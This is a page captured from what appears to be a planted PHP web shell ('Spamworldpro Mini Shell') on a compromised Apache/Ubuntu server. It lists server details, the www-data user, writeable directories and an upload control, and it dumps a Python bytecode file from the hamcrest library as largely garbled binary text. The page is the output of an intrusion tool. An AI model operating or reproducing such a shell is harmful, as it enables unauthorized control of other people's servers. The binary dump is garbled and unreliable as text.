Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.21
Disable Function : NONE
Directory :  /lib/python3/dist-packages/hamcrest/library/object/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/hamcrest/library/object/__pycache__/haslength.cpython-310.pyc
o

(]^q�@s�ddlmZddlmZddlmZddlmZddlm	Z	ddl
mZddlm
Z
dZd	Zd
ZGdd�dee�Zd
eee
efde
efdd�ZdS)�)�Sized)�Union)�BaseMatcher)�Description)�	hasmethod)�wrap_matcher)�MatcherzJon ReidzCopyright 2011 hamcrest.orgzBSD, see License.txtcsdeZdZdeeddfdd�Zdedefdd�Zded	e	ddf�fd
d�Z
de	ddfd
d�Z�ZS)�	HasLength�len_matcher�returnNcCs
||_dS)N)r
)�selfr
�r
�C/usr/lib/python3/dist-packages/hamcrest/library/object/haslength.py�__init__s
zHasLength.__init__�itemcCst|d�sdS|j�t|��S)N�__len__F)rr
�matches�len)rrr
r
r�_matchess
zHasLength._matches�mismatch_descriptioncs8tt|��||�t|d�r|�d��t|��dSdS)Nrz with length of )�superr	�describe_mismatchr�append_text�append_description_ofr)rrr��	__class__r
rrs
�zHasLength.describe_mismatch�descriptioncCs|�d��|j�dS)Nzan object with length of )rrr
)rrr
r
r�describe_toszHasLength.describe_to)
�__name__�
__module__�__qualname__r�intrr�boolrrrr�
__classcell__r
r
rrr	s
r	�matchrcCstt|��S)aMMatches if ``len(item)`` satisfies a given matcher.

    :param match: The matcher to satisfy, or an expected value for
        :py:func:`~hamcrest.core.core.isequal.equal_to` matching.

    This matcher invokes the :py:func:`len` function on the evaluated object to
    get its length, passing the result to a given matcher for evaluation.

    If the ``match`` argument is not a matcher, it is implicitly wrapped in an
    :py:func:`~hamcrest.core.core.isequal.equal_to` matcher to check for
    :equality.

    Examples::

        has_length(greater_than(6))
        has_length(5)

    )r	r)r$r
r
r�
has_length!sr%N)�collections.abcr�typingr�hamcrest.core.base_matcherr�hamcrest.core.descriptionr�hamcrest.core.helpers.hasmethodr�"hamcrest.core.helpers.wrap_matcherr�hamcrest.core.matcherr�
__author__�
__copyright__�__license__r	r!r%r
r
r
r�<module>s&

Spamworldpro Mini